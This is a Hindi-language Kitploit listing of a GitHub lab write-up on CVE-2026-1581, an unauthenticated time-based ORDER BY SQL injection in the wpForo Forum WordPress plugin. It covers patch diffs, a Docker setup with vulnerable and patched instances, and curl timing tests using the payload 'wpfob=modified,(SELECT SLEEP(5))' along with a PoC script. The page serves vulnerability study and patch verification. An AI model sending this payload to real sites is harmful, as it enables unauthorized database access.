Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-1581-Analysis-Lab — # CVE-2026-1581 का पुनरुत्पादन wpForo Forum <=2.4.14 में एक अनप्रमाणित समय-आधारित SQL इंजेक्शन का पुनरुत्पादन करता है, जिसमें Docker लैब और PoC शामिल है ताकि भेद्यता का प्रदर्शन किया जा सके और पैच को सत्यापित किया जा सके। | Kitploit
उपकरण/GitHubGitHub/rootdirective-sec/cve-2026-1581-analysis-lab
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubrootdirective-sec/cve-2026-1581-analysis-lab

CVE-2026-1581-Analysis-Lab

# CVE-2026-1581 का पुनरुत्पादन wpForo Forum <=2.4.14 में एक अनप्रमाणित समय-आधारित SQL इंजेक्शन का पुनरुत्पादन करता है, जिसमें Docker लैब और PoC शामिल है ताकि भेद्यता का प्रदर्शन किया जा सके और पैच को सत्यापित किया जा सके।

रिपॉजिटरी देखें
16 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-1581 — wpForo फोरम (<= 2.4.14) बिना प्रमाणीकरण के समय-आधारित SQL इंजेक्शन (ORDER BY)

ภาษาไทย


कार्यकारी सारांश

फ़ील्डविवरण
CVE IDCVE-2026-1581
प्लगइनwpForo फोरम
प्रभावित संस्करण<= 2.4.14
पैच किया गया संस्करण2.4.15
भेद्यता प्रकारबिना प्रमाणीकरण के समय-आधारित SQL इंजेक्शन (ORDER BY)
CVSS स्कोर7.5 (उच्च)
CVSS वेक्टरCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVE-2026-1581 wpForo फोरम प्लगइन (<= 2.4.14) में बिना प्रमाणीकरण के समय-आधारित SQL इंजेक्शन भेद्यता है। wpfob पैरामीटर का उपयोग ORDER BY क्लॉज़ में केवल टेक्स्ट सैनिटाइज़ेशन के साथ किया जाता है, जिससे बिना प्रमाणीकरण वाला हमलावर मनमाने SQL एक्सप्रेशन इंजेक्ट कर सकता है और डेटाबेस से डेटा पढ़ सकता है।

  • विक्रेता ने इसे संस्करण 2.4.15 में sanitize_text_field() को wpforo_sanitize_orderby() से बदलकर ठीक किया, जो संदर्भ-जागरूक व्हाइटलिस्ट लागू करता है।


दायरा और सुरक्षा

  • केवल localhost + Docker Compose में चलाएं।

  • PoC एक समय-आधारित टाइमिंग प्रमाण है जो भेद्य और पैच किए गए संस्करणों के बीच अंतर दर्शाता है।

  • स्पष्ट प्राधिकरण के बिना किसी भी सिस्टम के विरुद्ध उपयोग न करें।


एक नज़र में साक्ष्य

  • संस्करण प्रमाण: /community/ पेज /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (भेद्य) बनाम 2.4.15 (पैच किया गया) लोड करता है।

  • कोड प्रमाण: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)

  • व्यवहार प्रमाण: wpfob=modified,(SELECT SLEEP(5)) भेद्य संस्करण पर ~5 सेकंड की देरी का कारण बनता है; पैच किया गया संस्करण लगभग बेसलाइन पर प्रतिक्रिया करता है।


CVE सलाहकार से मैंने क्या देखा

  • CVE सलाहकार केवल यह बताता है कि यह wpfob पैरामीटर के माध्यम से समय-आधारित SQL इंजेक्शन है, जिसे 2.4.15 में ठीक किया गया था। विश्लेषण के समय, कोई सार्वजनिक PoC उपलब्ध नहीं था।

  • इसलिए यह राइट-अप 2.4.14 और 2.4.15 के बीच स्रोत कोड डिफिंग के माध्यम से बनाया गया था, HTTP इनपुट से सैनिटाइज़ेशन के माध्यम से उस बिंदु तक पैरामीटर का पता लगाते हुए जहां इसका उपयोग SQL क्वेरी बनाने के लिए किया जाता है — मूल कारण को समझने और समस्या को पुन: उत्पन्न करने के लिए।

vulnx CVE-2026-1581


1) स्रोत-कोड संचालित विश्लेषण

1.1 wpfob का पता लगाना

स्रोत कोड में wpfob के लिए grep से शुरू करते हुए, यह पाया गया कि Recent पेज मान को सीधे GET पैरामीटर से लेता है और इसे orderby तर्क के रूप में निर्दिष्ट करता है।

find wpfob

भेद्य (2.4.14) — themes/classic/recent.php:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';

पैच किया गया (2.4.15) — समान फ़ाइल, सैनिटाइज़र बदला गया:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

recent.php पर ध्यान क्यों? क्योंकि यह एक ट्रिगर करने योग्य रूट है जहां wpfob सीधे $args['orderby'] को निर्दिष्ट किया जाता है।


1.2 SQL तक डेटाफ्लो: ORDER BY ...

एक बार $args['orderby'] सेट हो जाने पर, यह ORDER BY क्लॉज़ बनाने के लिए wpForo के क्वेरी बिल्डर में प्रवाहित होता है।

ORDER BY संयोजन (भेद्य 2.4.14)

classes/Topics.php:

SQL builder: ORDER BY concatenation in Topics.php

classes/Posts.php:

SQL builder: ORDER BY concatenation in Posts.php

व्याख्या

  • sanitize_text_field() केवल स्ट्रिंग को स्ट्रिप/साफ करता है — यह अनुमत कॉलम नामों की व्हाइटलिस्ट लागू नहीं करता है।
  • चूंकि orderby सीधे ORDER BY <orderby> में संयोजित किया जाता है, एक हमलावर ORDER BY स्थिति में मनमाने SQL एक्सप्रेशन इंजेक्ट कर सकता है।

संदर्भ: https://developer.wordpress.org/reference/functions/sanitize_text_field/


1.3 पैच / डिफ हाइलाइट्स (2.4.14 → 2.4.15)

1.3.1 डिफ: recent.php

root@kitploit:~
32c32
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.2 डिफ: wpforo.php

root@kitploit:~
1036c1036
< 					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> 					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.3 नया पैच फ़ंक्शन: wpforo_sanitize_orderby()

संस्करण 2.4.15 एक संदर्भ-जागरूक व्हाइटलिस्ट सैनिटाइज़र पेश करता है जो डिफ़ॉल्ट मान लौटाता है यदि इनपुट अनुमत सूची में नहीं है:

whitelistor


2) लैब डिज़ाइन (भेद्य बनाम पैच किया गया)

2.1 Docker Compose में सेवाएं

  • wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081
  • wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082
  • db_vuln / db_patched (MariaDB)
  • seed_vuln / seed_patched — WordPress स्थापित करने, प्लगइन स्थापित करने, [wpforo] शॉर्टकोड के साथ /community/ पेज बनाने, permalinks कॉन्फ़िगर करने, .htaccess उत्पन्न करने और सत्यापन आर्टिफैक्ट बनाने के लिए wp-cli का उपयोग करता है।

2.2 परीक्षण रूट

स्रोत पढ़ने से, wpfob का उपयोग स्पष्ट रूप से recent पेज पर किया जाता है:

  • http://localhost:8081/community/recent/?view=opened
  • http://localhost:8082/community/recent/?view=opened

3) पुनरुत्पादन: टाइमिंग प्रमाण

परीक्षण से पहले कम से कम 1 विषय और 1 पोस्ट मौजूद होना चाहिए।

3.1 "पोस्ट क्यों आवश्यक हैं"

  • यह एक ORDER BY इंजेक्शन भेद्यता है।
  • यदि wpForo में कोई विषय या पोस्ट नहीं है, तो क्वेरी 0 पंक्तियाँ लौटा सकती है — ऐसी स्थिति में DB पक्ष पर कोई सॉर्टिंग नहीं होती है, कोड पथ ORDER BY एक्सप्रेशन का मूल्यांकन नहीं कर सकता है, और कोई देरी नहीं देखी जाती — एक गलत नकारात्मक।

कम से कम 1 विषय और 1 पोस्ट आवश्यक हैं।

3.2 बेसलाइन टाइमिंग

root@kitploit:~
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
  "http://localhost:8081/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
  "http://localhost:8082/community/recent/?view=opened"

baseline

3.3 हमला टाइमिंग

root@kitploit:~
curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
  --get "http://localhost:8081/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
  --get "http://localhost:8082/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

अपेक्षित

  • भेद्य: attack_vuln ≈ baseline_vuln + ~5s
  • पैच किया गया: attack_patched ≈ बेसलाइन (कोई देरी नहीं)

3.4 परिणाम

result


रनबुक — लैब कैसे बनाएं और PoC का उपयोग कैसे करें (CVE-2026-1581)

1) लैब बनाएं (भेद्य बनाम पैच किया गया)

1.1 पूर्वापेक्षाएँ

  • Docker Desktop + Docker Compose v2
  • उपलब्ध पोर्ट: 8081 (भेद्य), 8082 (पैच किया गया)

1.2 आवश्यक फ़ाइलें

  • docker-compose.yml
  • scripts/seed-wp.sh

1.3 लैब शुरू करें

प्रोजेक्ट फ़ोल्डर से:

root@kitploit:~
docker compose up -d

1.4 सत्यापित करें

जांचें कि दोनों इंस्टेंस सुलभ हैं:

  • भेद्य: http://localhost:8081/community/
  • पैच किया गया: http://localhost:8082/community/

और recent पेज:

  • भेद्य: http://localhost:8081/community/recent/?view=opened
  • पैच किया गया: http://localhost:8082/community/recent/?view=opened

vuln home page vuln community page vuln recent page

1.5 wp-cli के माध्यम से विषय/पोस्ट सीड करें (केवल लैब उपयोग के लिए)

पुनरुत्पादन क्षमता के लिए और गलत नकारात्मक को रोकने के लिए आवश्यक।

root@kitploit:~
# 1) गणना जांचें (भेद्य)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts  FROM ${PREFIX}wpforo_posts;"  --allow-root
'

# 2) 1 विषय और 1 पोस्ट डालें (भेद्य)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)

wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root

echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'

पैच किए गए इंस्टेंस के लिए, seed_vuln को seed_patched से बदलें।


2) PoC का उपयोग करना

2.1 निर्भरताएँ स्थापित करें

वर्चुअल वातावरण का उपयोग करने की अनुशंसा की जाती है:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt

2.2 PoC चलाएं

root@kitploit:~
# भेद्य
python3 poc.py http://localhost:8081

# पैच किया गया
python3 poc.py http://localhost:8082

2.3 PoC आउटपुट

POC


3) सफाई

root@kitploit:~
docker compose down -v

संदर्भ

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-1581
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve
टूल डाउनलोड करें